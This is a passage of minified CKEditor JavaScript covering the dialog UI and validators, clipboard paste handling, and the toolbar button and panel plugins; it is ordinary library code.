d.align||("ltr"==a.getParentEditor().lang.dir?"left":"right")),'" ');b.push("><tbody>");for(var e=0;e<c.length;e++){var i=[];b.push('<tr><td role="presentation" ');f&&i.push("width:"+r(f||"100%"));h?i.push("height:"+r(h[e])):d&&d.expand&&i.push("height:"+Math.floor(100/c.length)+"%");d&&void 0!==d.padding&&i.push("padding:"+r(d.padding));CKEDITOR.env.ie&&(CKEDITOR.env.quirks&&g[e].align)&&i.push("text-align:"+g[e].align);0<i.length&&b.push('style="',i.join("; "),'" ');b.push(' class="cke_dialog_ui_vbox_child">',
c[e],"</td></tr>")}b.push("</tbody></table>");return b.join("")})}}}})();CKEDITOR.ui.dialog.uiElement.prototype={getElement:function(){return CKEDITOR.document.getById(this.domId)},getInputElement:function(){return this.getElement()},getDialog:function(){return this._.dialog},setValue:function(a,b){this.getInputElement().setValue(a);!b&&this.fire("change",{value:a});return this},getValue:function(){return this.getInputElement().getValue()},isChanged:function(){return!1},selectParentTab:function(){for(var a=
this.getInputElement();(a=a.getParent())&&-1==a.$.className.search("cke_dialog_page_contents"););if(!a)return this;a=a.getAttribute("name");this._.dialog._.currentTabId!=a&&this._.dialog.selectPage(a);return this},focus:function(){this.selectParentTab().getInputElement().focus();return this},registerEvents:function(a){var b=/^on([A-Z]\w+)/,c,e=function(a,b,c,d){b.on("load",function(){a.getInputElement().on(c,d,a)})},d;for(d in a)if(c=d.match(b))this.eventProcessors[d]?this.eventProcessors[d].call(this,
this._.dialog,a[d]):e(this,this._.dialog,c[1].toLowerCase(),a[d]);return this},eventProcessors:{onLoad:function(a,b){a.on("load",b,this)},onShow:function(a,b){a.on("show",b,this)},onHide:function(a,b){a.on("hide",b,this)}},accessKeyDown:function(){this.focus()},accessKeyUp:function(){},disable:function(){var a=this.getElement();this.getInputElement().setAttribute("disabled","true");a.addClass("cke_disabled")},enable:function(){var a=this.getElement();this.getInputElement().removeAttribute("disabled");
a.removeClass("cke_disabled")},isEnabled:function(){return!this.getElement().hasClass("cke_disabled")},isVisible:function(){return this.getInputElement().isVisible()},isFocusable:function(){return!this.isEnabled()||!this.isVisible()?!1:!0}};CKEDITOR.ui.dialog.hbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getChild:function(a){if(1>arguments.length)return this._.children.concat();a.splice||(a=[a]);return 2>a.length?this._.children[a[0]]:this._.children[a[0]]&&this._.children[a[0]].getChild?
this._.children[a[0]].getChild(a.slice(1,a.length)):null}},!0);CKEDITOR.ui.dialog.vbox.prototype=new CKEDITOR.ui.dialog.hbox;(function(){var a={build:function(a,c,e){for(var d=c.children,g,f=[],h=[],m=0;m<d.length&&(g=d[m]);m++){var k=[];f.push(k);h.push(CKEDITOR.dialog._.uiElementBuilders[g.type].build(a,g,k))}return new CKEDITOR.ui.dialog[c.type](a,h,f,e,c)}};CKEDITOR.dialog.addUIElement("hbox",a);CKEDITOR.dialog.addUIElement("vbox",a)})();CKEDITOR.dialogCommand=function(a,b){this.dialogName=a;
CKEDITOR.tools.extend(this,b,!0)};CKEDITOR.dialogCommand.prototype={exec:function(a){a.openDialog(this.dialogName)},canUndo:!1,editorFocus:1};(function(){var a=/^([a]|[^a])+$/,b=/^\d*$/,c=/^\d*(?:\.\d+)?$/,e=/^(((\d*(\.\d+))|(\d*))(px|\%)?)?$/,d=/^(((\d*(\.\d+))|(\d*))(px|em|ex|in|cm|mm|pt|pc|\%)?)?$/i,g=/^(\s*[\w-]+\s*:\s*[^:;]+(?:;|$))*$/;CKEDITOR.VALIDATE_OR=1;CKEDITOR.VALIDATE_AND=2;CKEDITOR.dialog.validate={functions:function(){var a=arguments;return function(){var b=this&&this.getValue?this.getValue():
a[0],c,d=CKEDITOR.VALIDATE_AND,e=[],g;for(g=0;g<a.length;g++)if("function"==typeof a[g])e.push(a[g]);else break;g<a.length&&"string"==typeof a[g]&&(c=a[g],g++);g<a.length&&"number"==typeof a[g]&&(d=a[g]);var j=d==CKEDITOR.VALIDATE_AND?!0:!1;for(g=0;g<e.length;g++)j=d==CKEDITOR.VALIDATE_AND?j&&e[g](b):j||e[g](b);return!j?c:!0}},regex:function(a,b){return function(c){c=this&&this.getValue?this.getValue():c;return!a.test(c)?b:!0}},notEmpty:function(b){return this.regex(a,b)},integer:function(a){return this.regex(b,
a)},number:function(a){return this.regex(c,a)},cssLength:function(a){return this.functions(function(a){return d.test(CKEDITOR.tools.trim(a))},a)},htmlLength:function(a){return this.functions(function(a){return e.test(CKEDITOR.tools.trim(a))},a)},inlineStyle:function(a){return this.functions(function(a){return g.test(CKEDITOR.tools.trim(a))},a)},equals:function(a,b){return this.functions(function(b){return b==a},b)},notEqual:function(a,b){return this.functions(function(b){return b!=a},b)}};CKEDITOR.on("instanceDestroyed",
function(a){if(CKEDITOR.tools.isEmpty(CKEDITOR.instances)){for(var b;b=CKEDITOR.dialog._.currentTop;)b.hide();for(var c in w)w[c].remove();w={}}var a=a.editor._.storedDialogs,d;for(d in a)a[d].destroy()})})();CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{openDialog:function(a,b){var c=null,e=CKEDITOR.dialog._.dialogDefinitions[a];null===CKEDITOR.dialog._.currentTop&&J(this);if("function"==typeof e)c=this._.storedDialogs||(this._.storedDialogs={}),c=c[a]||(c[a]=new CKEDITOR.dialog(this,a)),b&&b.call(c,
c),c.show();else{if("failed"==e)throw K(this),Error('[CKEDITOR.dialog.openDialog] Dialog "'+a+'" failed when loading definition.');"string"==typeof e&&CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(e),function(){"function"!=typeof CKEDITOR.dialog._.dialogDefinitions[a]&&(CKEDITOR.dialog._.dialogDefinitions[a]="failed");this.openDialog(a,b)},this,0,1)}CKEDITOR.skin.loadPart("dialog");return c}})})();
CKEDITOR.plugins.add("dialog",{requires:"dialogui",init:function(t){t.on("doubleclick",function(u){u.data.dialog&&t.openDialog(u.data.dialog)},null,null,999)}});(function(){function v(b){function a(){var e=b.editable();e.on(p,function(b){(!CKEDITOR.env.ie||!n)&&u(b)});CKEDITOR.env.ie&&e.on("paste",function(e){q||(g(),e.data.preventDefault(),u(e),h("paste")||b.openDialog("paste"))});CKEDITOR.env.ie&&(e.on("contextmenu",i,null,null,0),e.on("beforepaste",function(b){b.data&&(!b.data.$.ctrlKey&&!b.data.$.shiftKey)&&i()},null,null,0));e.on("beforecut",function(){!n&&j(b)});var a;e.attachListener(CKEDITOR.env.ie?e:b.document.getDocumentElement(),"mouseup",function(){a=
setTimeout(function(){r()},0)});b.on("destroy",function(){clearTimeout(a)});e.on("keyup",r)}function c(e){return{type:e,canUndo:"cut"==e,startDisabled:!0,exec:function(){"cut"==this.type&&j();var e;var a=this.type;if(CKEDITOR.env.ie)e=h(a);else try{e=b.document.$.execCommand(a,!1,null)}catch(d){e=!1}e||alert(b.lang.clipboard[this.type+"Error"]);return e}}}function d(){return{canUndo:!1,async:!0,exec:function(b,a){var d=function(a,d){a&&f(a.type,a.dataValue,!!d);b.fire("afterCommandExec",{name:"paste",
command:c,returnValue:!!a})},c=this;"string"==typeof a?d({type:"auto",dataValue:a},1):b.getClipboardData(d)}}}function g(){q=1;setTimeout(function(){q=0},100)}function i(){n=1;setTimeout(function(){n=0},10)}function h(e){var a=b.document,d=a.getBody(),c=!1,j=function(){c=!0};d.on(e,j);(7<CKEDITOR.env.version?a.$:a.$.selection.createRange()).execCommand(e);d.removeListener(e,j);return c}function f(e,a,d){e={type:e};if(d&&!1===b.fire("beforePaste",e)||!a)return!1;e.dataValue=a;return b.fire("paste",
e)}function j(){if(CKEDITOR.env.ie&&!CKEDITOR.env.quirks){var e=b.getSelection(),a,d,c;if(e.getType()==CKEDITOR.SELECTION_ELEMENT&&(a=e.getSelectedElement()))d=e.getRanges()[0],c=b.document.createText(""),c.insertBefore(a),d.setStartBefore(c),d.setEndAfter(a),e.selectRanges([d]),setTimeout(function(){a.getParent()&&(c.remove(),e.selectElement(a))},0)}}function l(a,d){var c=b.document,j=b.editable(),l=function(b){b.cancel()},g;if(!c.getById("cke_pastebin")){var i=b.getSelection(),s=i.createBookmarks();
CKEDITOR.env.ie&&i.root.fire("selectionchange");var k=new CKEDITOR.dom.element((CKEDITOR.env.webkit||j.is("body"))&&!CKEDITOR.env.ie?"body":"div",c);k.setAttributes({id:"cke_pastebin","data-cke-temp":"1"});var f=0,c=c.getWindow();CKEDITOR.env.webkit?(j.append(k),k.addClass("cke_editable"),j.is("body")||(f="static"!=j.getComputedStyle("position")?j:CKEDITOR.dom.element.get(j.$.offsetParent),f=f.getDocumentPosition().y)):j.getAscendant(CKEDITOR.env.ie?"body":"html",1).append(k);k.setStyles({position:"absolute",
top:c.getScrollPosition().y-f+10+"px",width:"1px",height:Math.max(1,c.getViewPaneSize().height-20)+"px",overflow:"hidden",margin:0,padding:0});CKEDITOR.env.safari&&k.setStyles(CKEDITOR.tools.cssVendorPrefix("user-select","text"));(f=k.getParent().isReadOnly())?(k.setOpacity(0),k.setAttribute("contenteditable",!0)):k.setStyle("ltr"==b.config.contentsLangDirection?"left":"right","-1000px");b.on("selectionChange",l,null,null,0);if(CKEDITOR.env.webkit||CKEDITOR.env.gecko)g=j.once("blur",l,null,null,-100);
f&&k.focus();f=new CKEDITOR.dom.range(k);f.selectNodeContents(k);var h=f.select();CKEDITOR.env.ie&&(g=j.once("blur",function(){b.lockSelection(h)}));var m=CKEDITOR.document.getWindow().getScrollPosition().y;setTimeout(function(){if(CKEDITOR.env.webkit)CKEDITOR.document.getBody().$.scrollTop=m;g&&g.removeListener();CKEDITOR.env.ie&&j.focus();i.selectBookmarks(s);k.remove();var a;if(CKEDITOR.env.webkit&&(a=k.getFirst())&&a.is&&a.hasClass("Apple-style-span"))k=a;b.removeListener("selectionChange",l);
d(k.getHtml())},0)}}function s(){if(CKEDITOR.env.ie){b.focus();g();var a=b.focusManager;a.lock();if(b.editable().fire(p)&&!h("paste"))return a.unlock(),!1;a.unlock()}else try{if(b.editable().fire(p)&&!b.document.$.execCommand("Paste",!1,null))throw 0;}catch(d){return!1}return!0}function o(a){if("wysiwyg"==b.mode)switch(a.data.keyCode){case CKEDITOR.CTRL+86:case CKEDITOR.SHIFT+45:a=b.editable();g();!CKEDITOR.env.ie&&a.fire("beforepaste");break;case CKEDITOR.CTRL+88:case CKEDITOR.SHIFT+46:b.fire("saveSnapshot"),
setTimeout(function(){b.fire("saveSnapshot")},50)}}function u(a){var d={type:"auto"},c=b.fire("beforePaste",d);l(a,function(b){b=b.replace(/<span[^>]+data-cke-bookmark[^<]*?<\/span>/ig,"");c&&f(d.type,b,0,1)})}function r(){if("wysiwyg"==b.mode){var a=m("paste");b.getCommand("cut").setState(m("cut"));b.getCommand("copy").setState(m("copy"));b.getCommand("paste").setState(a);b.fire("pasteState",a)}}function m(a){if(t&&a in{paste:1,cut:1})return CKEDITOR.TRISTATE_DISABLED;if("paste"==a)return CKEDITOR.TRISTATE_OFF;
var a=b.getSelection(),d=a.getRanges();return a.getType()==CKEDITOR.SELECTION_NONE||1==d.length&&d[0].collapsed?CKEDITOR.TRISTATE_DISABLED:CKEDITOR.TRISTATE_OFF}var n=0,q=0,t=0,p=CKEDITOR.env.ie?"beforepaste":"paste";(function(){b.on("key",o);b.on("contentDom",a);b.on("selectionChange",function(b){t=b.data.selection.getRanges()[0].checkReadOnly();r()});b.contextMenu&&b.contextMenu.addListener(function(b,a){t=a.getRanges()[0].checkReadOnly();return{cut:m("cut"),copy:m("copy"),paste:m("paste")}})})();
(function(){function a(d,c,j,e,l){var g=b.lang.clipboard[c];b.addCommand(c,j);b.ui.addButton&&b.ui.addButton(d,{label:g,command:c,toolbar:"clipboard,"+e});b.addMenuItems&&b.addMenuItem(c,{label:g,command:c,group:"clipboard",order:l})}a("Cut","cut",c("cut"),10,1);a("Copy","copy",c("copy"),20,4);a("Paste","paste",d(),30,8)})();b.getClipboardData=function(a,d){function c(a){a.removeListener();a.cancel();d(a.data)}function j(a){a.removeListener();a.cancel();i=!0;d({type:f,dataValue:a.data})}function l(){this.customTitle=
a&&a.title}var g=!1,f="auto",i=!1;d||(d=a,a=null);b.on("paste",c,null,null,0);b.on("beforePaste",function(a){a.removeListener();g=true;f=a.data.type},null,null,1E3);!1===s()&&(b.removeListener("paste",c),g&&b.fire("pasteDialog",l)?(b.on("pasteDialogCommit",j),b.on("dialogHide",function(a){a.removeListener();a.data.removeListener("pasteDialogCommit",j);setTimeout(function(){i||d(null)},10)})):d(null))}}function w(b){if(CKEDITOR.env.webkit){if(!b.match(/^[^<]*$/g)&&!b.match(/^(<div><br( ?\/)?><\/div>|<div>[^<]*<\/div>)*$/gi))return"html"}else if(CKEDITOR.env.ie){if(!b.match(/^([^<]|<br( ?\/)?>)*$/gi)&&
!b.match(/^(<p>([^<]|<br( ?\/)?>)*<\/p>|(\r\n))*$/gi))return"html"}else if(CKEDITOR.env.gecko){if(!b.match(/^([^<]|<br( ?\/)?>)*$/gi))return"html"}else return"html";return"htmlifiedtext"}function x(b,a){function c(a){return CKEDITOR.tools.repeat("</p><p>",~~(a/2))+(1==a%2?"<br>":"")}a=a.replace(/\s+/g," ").replace(/> +</g,"><").replace(/<br ?\/>/gi,"<br>");a=a.replace(/<\/?[A-Z]+>/g,function(a){return a.toLowerCase()});if(a.match(/^[^<]$/))return a;CKEDITOR.env.webkit&&-1<a.indexOf("<div>")&&(a=a.replace(/^(<div>(<br>|)<\/div>)(?!$|(<div>(<br>|)<\/div>))/g,
"<br>").replace(/^(<div>(<br>|)<\/div>){2}(?!$)/g,"<div></div>"),a.match(/<div>(<br>|)<\/div>/)&&(a="<p>"+a.replace(/(<div>(<br>|)<\/div>)+/g,function(a){return c(a.split("</div><div>").length+1)})+"</p>"),a=a.replace(/<\/div><div>/g,"<br>"),a=a.replace(/<\/?div>/g,""));CKEDITOR.env.gecko&&b.enterMode!=CKEDITOR.ENTER_BR&&(CKEDITOR.env.gecko&&(a=a.replace(/^<br><br>$/,"<br>")),-1<a.indexOf("<br><br>")&&(a="<p>"+a.replace(/(<br>){2,}/g,function(a){return c(a.length/4)})+"</p>"));return o(b,a)}function y(){var b=
new CKEDITOR.htmlParser.filter,a={blockquote:1,dl:1,fieldset:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,ol:1,p:1,table:1,ul:1},c=CKEDITOR.tools.extend({br:0},CKEDITOR.dtd.$inline),d={p:1,br:1,"cke:br":1},g=CKEDITOR.dtd,i=CKEDITOR.tools.extend({area:1,basefont:1,embed:1,iframe:1,map:1,object:1,param:1},CKEDITOR.dtd.$nonBodyContent,CKEDITOR.dtd.$cdata),h=function(a){delete a.name;a.add(new CKEDITOR.htmlParser.text(" "))},f=function(a){for(var b=a,c;(b=b.next)&&b.name&&b.name.match(/^h\d$/);){c=new CKEDITOR.htmlParser.element("cke:br");
c.isEmpty=!0;for(a.add(c);c=b.children.shift();)a.add(c)}};b.addRules({elements:{h1:f,h2:f,h3:f,h4:f,h5:f,h6:f,img:function(a){var a=CKEDITOR.tools.trim(a.attributes.alt||""),b=" ";a&&!a.match(/(^http|\.(jpe?g|gif|png))/i)&&(b=" ["+a+"] ");return new CKEDITOR.htmlParser.text(b)},td:h,th:h,$:function(b){var f=b.name,h;if(i[f])return!1;b.attributes={};if("br"==f)return b;if(a[f])b.name="p";else if(c[f])delete b.name;else if(g[f]){h=new CKEDITOR.htmlParser.element("cke:br");h.isEmpty=!0;if(CKEDITOR.dtd.$empty[f])return h;
b.add(h,0);h=h.clone();h.isEmpty=!0;b.add(h);delete b.name}d[b.name]||delete b.name;return b}}},{applyToAll:!0});return b}function z(b,a,c){var a=new CKEDITOR.htmlParser.fragment.fromHtml(a),d=new CKEDITOR.htmlParser.basicWriter;a.writeHtml(d,c);var a=d.getHtml(),a=a.replace(/\s*(<\/?[a-z:]+ ?\/?>)\s*/g,"$1").replace(/(<cke:br \/>){2,}/g,"<cke:br />").replace(/(<cke:br \/>)(<\/?p>|<br \/>)/g,"$2").replace(/(<\/?p>|<br \/>)(<cke:br \/>)/g,"$1").replace(/<(cke:)?br( \/)?>/g,"<br>").replace(/<p><\/p>/g,
""),g=0,a=a.replace(/<\/?p>/g,function(a){if("<p>"==a){if(1<++g)return"</p><p>"}else if(0<--g)return"</p><p>";return a}).replace(/<p><\/p>/g,"");return o(b,a)}function o(b,a){b.enterMode==CKEDITOR.ENTER_BR?a=a.replace(/(<\/p><p>)+/g,function(a){return CKEDITOR.tools.repeat("<br>",2*(a.length/7))}).replace(/<\/?p>/g,""):b.enterMode==CKEDITOR.ENTER_DIV&&(a=a.replace(/<(\/)?p>/g,"<$1div>"));return a}CKEDITOR.plugins.add("clipboard",{requires:"dialog",init:function(b){var a;v(b);CKEDITOR.dialog.add("paste",
CKEDITOR.getUrl(this.path+"dialogs/paste.js"));b.on("paste",function(a){var b=a.data.dataValue,g=CKEDITOR.dtd.$block;-1<b.indexOf("Apple-")&&(b=b.replace(/<span class="Apple-converted-space">&nbsp;<\/span>/gi," "),"html"!=a.data.type&&(b=b.replace(/<span class="Apple-tab-span"[^>]*>([^<]*)<\/span>/gi,function(a,b){return b.replace(/\t/g,"&nbsp;&nbsp; &nbsp;")})),-1<b.indexOf('<br class="Apple-interchange-newline">')&&(a.data.startsWithEOL=1,a.data.preSniffing="html",b=b.replace(/<br class="Apple-interchange-newline">/,
"")),b=b.replace(/(<[^>]+) class="Apple-[^"]*"/gi,"$1"));if(b.match(/^<[^<]+cke_(editable|contents)/i)){var i,h,f=new CKEDITOR.dom.element("div");for(f.setHtml(b);1==f.getChildCount()&&(i=f.getFirst())&&i.type==CKEDITOR.NODE_ELEMENT&&(i.hasClass("cke_editable")||i.hasClass("cke_contents"));)f=h=i;h&&(b=h.getHtml().replace(/<br>$/i,""))}CKEDITOR.env.ie?b=b.replace(/^&nbsp;(?: |\r\n)?<(\w+)/g,function(b,d){if(d.toLowerCase()in g){a.data.preSniffing="html";return"<"+d}return b}):CKEDITOR.env.webkit?
b=b.replace(/<\/(\w+)><div><br><\/div>$/,function(b,d){if(d in g){a.data.endsWithEOL=1;return"</"+d+">"}return b}):CKEDITOR.env.gecko&&(b=b.replace(/(\s)<br>$/,"$1"));a.data.dataValue=b},null,null,3);b.on("paste",function(c){var c=c.data,d=c.type,g=c.dataValue,i,h=b.config.clipboard_defaultContentType||"html";i="html"==d||"html"==c.preSniffing?"html":w(g);"htmlifiedtext"==i?g=x(b.config,g):"text"==d&&"html"==i&&(g=z(b.config,g,a||(a=y(b))));c.startsWithEOL&&(g='<br data-cke-eol="1">'+g);c.endsWithEOL&&
(g+='<br data-cke-eol="1">');"auto"==d&&(d="html"==i||"html"==h?"html":"text");c.type=d;c.dataValue=g;delete c.preSniffing;delete c.startsWithEOL;delete c.endsWithEOL},null,null,6);b.on("paste",function(a){a=a.data;b.insertHtml(a.dataValue,a.type);setTimeout(function(){b.fire("afterPaste")},0)},null,null,1E3);b.on("pasteDialog",function(a){setTimeout(function(){b.openDialog("paste",a.data)},0)})}})})();(function(){var c='<a id="{id}" class="cke_button cke_button__{name} cke_button_{state} {cls}"'+(CKEDITOR.env.gecko&&!CKEDITOR.env.hc?"":" href=\"javascript:void('{titleJs}')\"")+' title="{title}" tabindex="-1" hidefocus="true" role="button" aria-labelledby="{id}_label" aria-haspopup="{hasArrow}" aria-disabled="{ariaDisabled}"';CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(c+=' onkeypress="return false;"');CKEDITOR.env.gecko&&(c+=' onblur="this.style.cssText = this.style.cssText;"');var c=c+(' onkeydown="return CKEDITOR.tools.callFunction({keydownFn},event);" onfocus="return CKEDITOR.tools.callFunction({focusFn},event);" '+
(CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick")+'="CKEDITOR.tools.callFunction({clickFn},this);return false;"><span class="cke_button_icon cke_button__{iconName}_icon" style="{style}"'),c=c+'>&nbsp;</span><span id="{id}_label" class="cke_button_label cke_button__{name}_label" aria-hidden="false">{label}</span>{arrowHtml}</a>',o=CKEDITOR.addTemplate("buttonArrow",'<span class="cke_button_arrow">'+(CKEDITOR.env.hc?"&#9660;":"")+"</span>"),p=CKEDITOR.addTemplate("button",c);CKEDITOR.plugins.add("button",
{beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_BUTTON,CKEDITOR.ui.button.handler)}});CKEDITOR.UI_BUTTON="button";CKEDITOR.ui.button=function(a){CKEDITOR.tools.extend(this,a,{title:a.label,click:a.click||function(b){b.execCommand(a.command)}});this._={}};CKEDITOR.ui.button.handler={create:function(a){return new CKEDITOR.ui.button(a)}};CKEDITOR.ui.button.prototype={render:function(a,b){function c(){var e=a.mode;e&&(e=this.modes[e]?void 0!==i[e]?i[e]:CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,
e=a.readOnly&&!this.readOnly?CKEDITOR.TRISTATE_DISABLED:e,this.setState(e),this.refresh&&this.refresh())}var j=CKEDITOR.env,k=this._.id=CKEDITOR.tools.getNextId(),f="",g=this.command,l;this._.editor=a;var d={id:k,button:this,editor:a,focus:function(){CKEDITOR.document.getById(k).focus()},execute:function(){this.button.click(a)},attach:function(a){this.button.attach(a)}},q=CKEDITOR.tools.addFunction(function(a){if(d.onkey)return a=new CKEDITOR.dom.event(a),!1!==d.onkey(d,a.getKeystroke())}),r=CKEDITOR.tools.addFunction(function(a){var b;
d.onfocus&&(b=!1!==d.onfocus(d,new CKEDITOR.dom.event(a)));return b}),m=0;d.clickFn=l=CKEDITOR.tools.addFunction(function(){m&&(a.unlockSelection(1),m=0);d.execute();j.iOS&&a.focus()});if(this.modes){var i={};a.on("beforeModeUnload",function(){a.mode&&this._.state!=CKEDITOR.TRISTATE_DISABLED&&(i[a.mode]=this._.state)},this);a.on("activeFilterChange",c,this);a.on("mode",c,this);!this.readOnly&&a.on("readOnly",c,this)}else if(g&&(g=a.getCommand(g)))g.on("state",function(){this.setState(g.state)},this),
f+=g.state==CKEDITOR.TRISTATE_ON?"on":g.state==CKEDITOR.TRISTATE_DISABLED?"disabled":"off";if(this.directional)a.on("contentDirChanged",function(b){var c=CKEDITOR.document.getById(this._.id),d=c.getFirst(),b=b.data;b!=a.lang.dir?c.addClass("cke_"+b):c.removeClass("cke_ltr").removeClass("cke_rtl");d.setAttribute("style",CKEDITOR.skin.getIconStyle(h,"rtl"==b,this.icon,this.iconOffset))},this);g||(f+="off");var n=this.name||this.command,h=n;this.icon&&!/\./.test(this.icon)&&(h=this.icon,this.icon=null);
f={id:k,name:n,iconName:h,label:this.label,cls:this.className||"",state:f,ariaDisabled:"disabled"==f?"true":"false",title:this.title,titleJs:j.gecko&&!j.hc?"":(this.title||"").replace("'",""),hasArrow:this.hasArrow?"true":"false",keydownFn:q,focusFn:r,clickFn:l,style:CKEDITOR.skin.getIconStyle(h,"rtl"==a.lang.dir,this.icon,this.iconOffset),arrowHtml:this.hasArrow?o.output():""};p.output(f,b);if(this.onRender)this.onRender();return d},setState:function(a){if(this._.state==a)return!1;this._.state=a;
var b=CKEDITOR.document.getById(this._.id);return b?(b.setState(a,"cke_button"),a==CKEDITOR.TRISTATE_DISABLED?b.setAttribute("aria-disabled",!0):b.removeAttribute("aria-disabled"),this.hasArrow?(a=a==CKEDITOR.TRISTATE_ON?this._.editor.lang.button.selectedLabel.replace(/%1/g,this.label):this.label,CKEDITOR.document.getById(this._.id+"_label").setText(a)):a==CKEDITOR.TRISTATE_ON?b.setAttribute("aria-pressed",!0):b.removeAttribute("aria-pressed"),!0):!1},getState:function(){return this._.state},toFeature:function(a){if(this._.feature)return this._.feature;
var b=this;!this.allowedContent&&(!this.requiredContent&&this.command)&&(b=a.getCommand(this.command)||b);return this._.feature=b}};CKEDITOR.ui.prototype.addButton=function(a,b){this.add(a,CKEDITOR.UI_BUTTON,b)}})();CKEDITOR.plugins.add("panelbutton",{requires:"button",onLoad:function(){function e(c){var a=this._;a.state!=CKEDITOR.TRISTATE_DISABLED&&(this.createPanel(c),a.on?a.panel.hide():a.panel.showBlock(this._.id,this.document.getById(this._.id),4))}CKEDITOR.ui.panelButton=CKEDITOR.tools.createClass({base:CKEDITOR.ui.button,$:function(c){var a=c.panel||{};delete c.panel;this.base(c);this.document=a.parent&&a.parent.getDocument()||CKEDITOR.document;a.block={attributes:a.attributes};this.hasArrow=a.toolbarRelated=
!0;this.click=e;this._={panelDefinition:a}},statics:{handler:{create:function(c){return new CKEDITOR.ui.panelButton(c)}}},proto:{createPanel:function(c){var a=this._;if(!a.panel){var f=this._.panelDefinition,e=this._.panelDefinition.block,g=f.parent||CKEDITOR.document.getBody(),d=this._.panel=new CKEDITOR.ui.floatPanel(c,g,f),f=d.addBlock(a.id,e),b=this;d.onShow=function(){b.className&&this.element.addClass(b.className+"_panel");b.setState(CKEDITOR.TRISTATE_ON);a.on=1;b.editorFocus&&c.focus();if(b.onOpen)b.onOpen()};
d.onHide=function(d){b.className&&this.element.getFirst().removeClass(b.className+"_panel");b.setState(b.modes&&b.modes[c.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);a.on=0;if(!d&&b.onClose)b.onClose()};d.onEscape=function(){d.hide(1);b.document.getById(a.id).focus()};if(this.onBlock)this.onBlock(d,f);f.onHide=function(){a.on=0;b.setState(CKEDITOR.TRISTATE_OFF)}}}}})},beforeInit:function(e){e.ui.addHandler(CKEDITOR.UI_PANELBUTTON,CKEDITOR.ui.panelButton.handler)}});
CKEDITOR.UI_PANELBUTTON="panelbutton";(function(){CKEDITOR.plugins.add("panel",{beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_PANEL,CKEDITOR.ui.panel.handler)}});CKEDITOR.UI_PANEL="panel";CKEDITOR.ui.panel=function(a,b){b&&CKEDITOR.tools.extend(this,b);CKEDITOR.tools.extend(this,{className:"",css:[]});this.id=CKEDITOR.tools.getNextId();this.document=a;this.isFramed=this.forceIFrame||this.css.length;this._={blocks:{}}};CKEDITOR.ui.panel.handler={create:function(a){return new CKEDITOR.ui.panel(a)}};var f=CKEDITOR.addTemplate("panel",
'<div lang="{langCode}" id="{id}" dir={dir} class="cke cke_reset_all {editorId} cke_panel cke_panel {cls} cke_{dir}" style="z-index:{z-index}" role="presentation">{frame}</div>'),g=CKEDITOR.addTemplate("panel-frame",'<iframe id="{id}" class="cke_panel_frame" role="presentation" frameborder="0" src="{src}"></iframe>'),h=CKEDITOR.addTemplate("panel-frame-inner",'<!DOCTYPE html><html class="cke_panel_container {env}" dir="{dir}" lang="{langCode}"><head>{css}</head><body class="cke_{dir}" style="margin:0;padding:0" onload="{onload}"></body></html>');
CKEDITOR.ui.panel.prototype={render:function(a,b){this.getHolderElement=function(){var a=this._.holder;if(!a){if(this.isFramed){var a=this.document.getById(this.id+"_frame"),b=a.getParent(),a=a.getFrameDocument();CKEDITOR.env.iOS&&b.setStyles({overflow:"scroll","-webkit-overflow-scrolling":"touch"});b=CKEDITOR.tools.addFunction(CKEDITOR.tools.bind(function(){this.isLoaded=!0;if(this.onLoad)this.onLoad()},this));a.write(h.output(CKEDITOR.tools.extend({css:CKEDITOR.tools.buildStyleHtml(this.css),onload:"window.parent.CKEDITOR.tools.callFunction("+
b+");"},d)));a.getWindow().$.CKEDITOR=CKEDITOR;a.on("keydown",function(a){var b=a.data.getKeystroke(),c=this.document.getById(this.id).getAttribute("dir");this._.onKeyDown&&!1===this._.onKeyDown(b)?a.data.preventDefault():(27==b||b==("rtl"==c?39:37))&&this.onEscape&&!1===this.onEscape(b)&&a.data.preventDefault()},this);a=a.getBody();a.unselectable();CKEDITOR.env.air&&CKEDITOR.tools.callFunction(b)}else a=this.document.getById(this.id);this._.holder=a}return a};var d={editorId:a.id,id:this.id,langCode:a.langCode,
dir:a.lang.dir,cls:this.className,frame:"",env:CKEDITOR.env.cssClass,"z-index":a.config.baseFloatZIndex+1};if(this.isFramed){var e=CKEDITOR.env.air?"javascript:void(0)":CKEDITOR.env.ie?"javascript:void(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"}())":"";d.frame=g.output({id:this.id+"_frame",src:e})}e=f.output(d);b&&b.push(e);return e},addBlock:function(a,b){b=this._.blocks[a]=b instanceof CKEDITOR.ui.panel.block?b:new CKEDITOR.ui.panel.block(this.getHolderElement(),
b);this._.currentBlock||this.showBlock(a);return b},getBlock:function(a){return this._.blocks[a]},showBlock:function(a){var a=this._.blocks[a],b=this._.currentBlock,d=!this.forceIFrame||CKEDITOR.env.ie?this._.holder:this.document.getById(this.id+"_frame");b&&b.hide();this._.currentBlock=a;CKEDITOR.fire("ariaWidget",d);a._.focusIndex=-1;this._.onKeyDown=a.onKeyDown&&CKEDITOR.tools.bind(a.onKeyDown,a);a.show();return a},destroy:function(){this.element&&this.element.remove()}};CKEDITOR.ui.panel.block=
CKEDITOR.tools.createClass({$:function(a,b){this.element=a.append(a.getDocument().createElement("div",{attributes:{tabindex:-1,"class":"cke_panel_block"},styles:{display:"none"}}));b&&CKEDITOR.tools.extend(this,b);this.element.setAttributes({role:this.attributes.role||"presentation","aria-label":this.attributes["aria-label"],title:this.attributes.title||this.attributes["aria-label"]});this.keys={};this._.focusIndex=-1;this.element.disableContextMenu()},_:{markItem:function(a){-1!=a&&(a=this.element.getElementsByTag("a").getItem(this._.focusIndex=
